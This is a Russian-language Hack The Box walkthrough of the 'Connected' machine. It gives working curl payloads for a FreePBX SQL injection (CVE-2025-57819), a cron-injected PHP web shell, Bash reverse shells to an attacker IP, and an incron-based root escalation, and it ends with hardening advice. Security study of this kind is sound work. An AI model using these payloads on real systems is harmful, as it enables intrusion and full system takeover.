
Этот прохождение документирует полную компрометацию машины HTB Connected.
В этом руководстве документируется полная компрометация машины HTB Connected.
Цепочка атак начинается с неаутентифицированной SQL-инъекции в FreePBX, которая используется для получения выполнения кода от имени пользователя asterisk через созданную cron-задачу. Записываемый конфигурационный файл в сочетании с триггером incron затем позволяет повысить привилегии до root.
Этот пример демонстрирует, как уязвимости веб-приложений в сочетании со слабыми локальными разрешениями и небезопасной автоматизацией с привилегиями могут привести к полной компрометации системы.
Быстрое сканирование портов выявляет открытые порты цели:
nmap -T5 --open <MACHINE_IP>
| Порт | Сервис |
|---|---|
| 22 | SSH |
| 80 | HTTP |
| 443 | HTTPS |
Дальнейшее исследование показывает сервер Apache с PHP 7.4 и HTTP-редиректом на:
http://connected.htb/
Для корректного доступа к сайту добавьте сопоставление виртуального хоста:
echo "<MACHINE_IP> connected.htb" | sudo tee -a /etc/hosts
Переход на http://connected.htb/ показывает:
FreePBX 16.0.40.7
Исследование выявляет CVE-2025-57819 — неаутентифицированную error-based SQL-инъекцию в компоненте Endpoint Manager системы FreePBX.
Подтвердите уязвимость, извлекая пользователя базы данных:
curl -ik "https://connected.htb/admin/ajax.php?module=FreePBX\\modules\\endpoint\\ajax&command=model&template=x&model=model&brand=x'+AND+EXTRACTVALUE(1,CONCAT('~USER:',(SELECT USER()),'~'))--+"
Ответ содержит:
~USER:freepbxuser@localhost~
Это подтверждает, что SQL-инъекция работает и что приложение подключается к MySQL как:
freepbxuser@localhost
FreePBX хранит запланированные задачи в таблице cron_jobs.
Внедряя вредоносную запись в эту таблицу, можно запланировать выполнение произвольных команд.
Следующая полезная нагрузка создаёт PHP-веб-шелл в корне веб-каталога:
curl -ik "https://connected.htb/admin/ajax.php?module=FreePBX\\modules\\endpoint\\ajax&command=model&template=x&model=model&brand=x';INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order) VALUES ('sysadmin','wt-shell3','echo \"PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+Cg==\"|base64 -d >/var/www/html/c1sco.php',NULL,'* * * * *',30,1,1)-- "
Сервер возвращает стандартную ошибку 500, но SQL-запрос выполняется успешно.
Примерно через минуту проверьте, что веб-шелл был создан:
curl -ik "https://connected.htb/c1sco.php?cmd=id"
Вывод:
uid=999(asterisk) gid=1000(asterisk) groups=1000(asterisk)
Теперь у нас есть выполнение команд от имени пользователя asterisk через HTTP-запросы.
Запустите Netcat-слушатель на атакующей машине:
nc -lvnp 4444
Запустите Bash reverse-оболочку через веб-шелл:
curl -ik "https://connected.htb/c1sco.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/<ATTACKER_IP>/4444+0>%261'"
Соединение установлено:
connect to [<ATTACKER_IP>] from [<MACHINE_IP>]
uid=999(asterisk) gid=1000(asterisk)
Теперь у нас есть интерактивная оболочка от имени пользователя asterisk.
Поиск записываемых файлов в /etc, исключая известные ложные срабатывания:
find /etc -writable 2>/dev/null | grep -v "/etc/wanpipe\|/etc/asterisk\|/etc/schmooze" | head -20
Примечательный результат:
/etc/dahdi/init.conf
Далее изучите конфигурацию incron:
cat /etc/incron.d/*
Это раскрывает следующий наблюдатель файловой системы:
/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart
Это означает, что всякий раз, когда в файл-маркер:
/var/spool/asterisk/sysadmin/dahdi_restart
производится запись, выполняется следующий скрипт:
/usr/sbin/sysadmin_dahdi_restart
Изучение скрипта показывает, что он подключает:
/etc/dahdi/init.conf
Поскольку /etc/dahdi/init.conf доступен для записи пользователю asterisk и подключается root-процессом, это обеспечивает путь к выполнению произвольных команд с правами root.
Запустите второй Netcat-слушатель на порту 4445:
nc -lvnp 4445
Из оболочки asterisk добавьте полезную нагрузку reverse-оболочки в записываемый конфигурационный файл:
echo 'bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/4445 0>&1" &' >> /etc/dahdi/init.conf
Запустите действие incron, записав в отслеживаемый файл:
echo "restart" > /var/spool/asterisk/sysadmin/dahdi_restart
В течение нескольких секунд root-оболочка подключается:
connect to [<ATTACKER_IP>] from [<MACHINE_IP>]
uid=0(root) gid=0(root) groups=0(root)
🎯 Полный доступ с правами root получен!
cat /home/asterisk/user.txt
Вывод:
HTB{...user_flag...}
cat /root/root.txt
Вывод:
HTB{...root_flag...}
Неаутентифицированная SQL-инъекция
│
▼
Выполнение MySQL-запроса
│
▼
Внедрение вредоносной cron-задачи
│
▼
PHP-веб-шелл
│
▼
Оболочка asterisk
│
▼
Записываемый /etc/dahdi/init.conf
│
▼
Триггер incron
│
▼
Выполнение команд от root
│
▼
root
| Уязвимость | Влияние |
|---|---|
| Неаутентифицированная SQL-инъекция | Раскрыла контекст пользователя БД и обеспечила плацдарм для записи вредоносных данных |
| Внедрение cron-задачи | Позволила удалённое выполнение кода от имени низкопривилегированной сервисной учётной записи |
Используйте параметризованные запросы и строгую проверку ввода для всех операций с базой данных.
Никогда не конкатенируйте управляемый пользователем ввод напрямую в SQL-запросы.
Конфигурационные файлы, используемые привилегированными сервисами, не должны быть доступны для записи низкопривилегированным сервисным учётным записям.
В частности, проверьте разрешения на файлы в:
/etc/
Регулярно аудируйте запланированные задачи и наблюдатели файловой системы.
Привилегированные задачи не должны выполнять команды на основе файлов, которые могут изменять недоверенные пользователи.
Скрипты, принадлежащие root, должны избегать подключения конфигурационных файлов, которые могут быть изменены непривилегированными пользователями.
Веб-приложения и сервисы должны работать с минимальными разрешениями, необходимыми для их работы.
Снижение привилегий окружения FreePBX/Apache может значительно ограничить последствия успешной компрометации приложения.
CVE-2025-57819
│
▼
Неаутентифицированная SQL-инъекция
│
▼
Манипуляция таблицей cron_jobs
│
▼
Запланированный PHP-веб-шелл
│
▼
Пользователь asterisk
│
▼
Записываемый /etc/dahdi/init.conf
│
▼
Наблюдатель файлов incron
│
▼
Привилегированный скрипт DAHDI
│
▼
Root-оболочка
│
▼
🏆 Полная компрометация системы
Отказ от ответственности: Этот материал предназначен для образовательных целей и авторизованного тестирования безопасности, такого как лаборатории Hack The Box и контролируемые среды.
| Записываемый конфигурационный файл + incron | Позволила прямое повышение привилегий до root |
| Привилегированный скрипт, подключающий записываемый пользователем файл | Позволила выполнение произвольных команд с root-привилегиями |